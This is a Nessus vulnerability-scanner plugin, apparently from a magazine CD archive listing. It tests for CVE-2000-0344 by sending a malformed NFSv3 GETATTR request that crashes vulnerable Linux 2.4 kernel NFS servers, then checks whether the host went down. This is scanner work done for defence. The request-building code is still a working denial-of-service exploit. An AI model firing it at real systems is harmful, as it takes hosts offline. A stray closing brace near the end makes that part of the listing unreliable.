home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / knfs_dos.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  93 lines

  1. #
  2. # (C) Tenable Network Security
  3. #
  4.  
  5. if(description)
  6. {
  7.  script_id(11813);
  8.  script_bugtraq_id(1160, 8298);
  9.  script_version ("$Revision: 1.6 $");
  10.  script_cve_id("CVE-2000-0344");
  11.  name["english"] = "Linux 2.4 NFSv3 DoS";
  12.  script_name(english:name["english"], francais:name["francais"]);
  13.  
  14.  desc["english"] = "
  15. The remote host is running knfsd, a kernel NFS daemon.
  16.  
  17. There is a bug in this version which may allow an attacker to 
  18. disable the remote host by sending a malformed GETATTR request
  19. with an invalid length field.
  20.  
  21. An attacker may exploit this flaw to prevent this host from working
  22. correctly.
  23.  
  24. Solution : Upgrade to the latest version of Linux 2.4, or do not use knfsd.
  25. Risk factor : High";
  26.  
  27.  
  28.  
  29.  script_description(english:desc["english"]);
  30.  
  31.  summary["english"] = "checks the presence of a DoS in the remote knfsd";
  32.  script_summary(english:summary["english"]);
  33.  
  34.  script_category(ACT_KILL_HOST);
  35.  
  36.  
  37.  script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison");
  38.  family["english"] = "Denial of Service";
  39.  script_family(english:family["english"]);
  40.  script_dependencie("rpc_portmap.nasl");
  41.  script_require_keys("rpc/portmap");
  42.  exit(0);
  43. }
  44.  
  45.  
  46. include("misc_func.inc");
  47. include("nfs_func.inc");
  48.  
  49. function dos(soc)
  50. {
  51.  local_var req, ret, i;
  52.  
  53.  
  54.  
  55.  pad = padsz(len:strlen(this_host_name()));
  56.   len = 20 + strlen(this_host_name()) + pad;
  57.  req =         rpclong(val:rand()) +
  58.              rpclong(val:0) +
  59.            rpclong(val:2) +
  60.            rpclong(val:100003) +
  61.            rpclong(val:3) +
  62.            rpclong(val:1) +
  63.            rpclong(val:1) +
  64.            rpclong(val:len) +
  65.            rpclong(val:rand()) +
  66.            rpclong(val:strlen(this_host_name())) +
  67.            this_host_name() +
  68.            rpcpad(pad:pad) +
  69.            rpclong(val:0)  +    
  70.            rpclong(val:0)  +    
  71.            rpclong(val:0)  +    
  72.            rpclong(val:0)  +    
  73.            rpclong(val:0)  +
  74.                     
  75.            raw_string(0xFF, 0xFF, 0xFF, 0xFF);
  76.        
  77.    send(socket:soc, data:req);
  78.    r = recv(socket:soc, length:8192);
  79.    return(strlen(r));
  80. }
  81.  
  82. start_denial();
  83. port = get_rpc_port(program:100003, protocol:IPPROTO_UDP);
  84. if ( ! port ) exit(0);
  85. soc = open_priv_sock_udp(dport:port);
  86. if ( ! soc ) exit(0);
  87. result = dos(soc:soc);
  88. if(!result)
  89.  alive = end_denial();
  90.  if(!alive)security_hole(port);
  91. }
  92.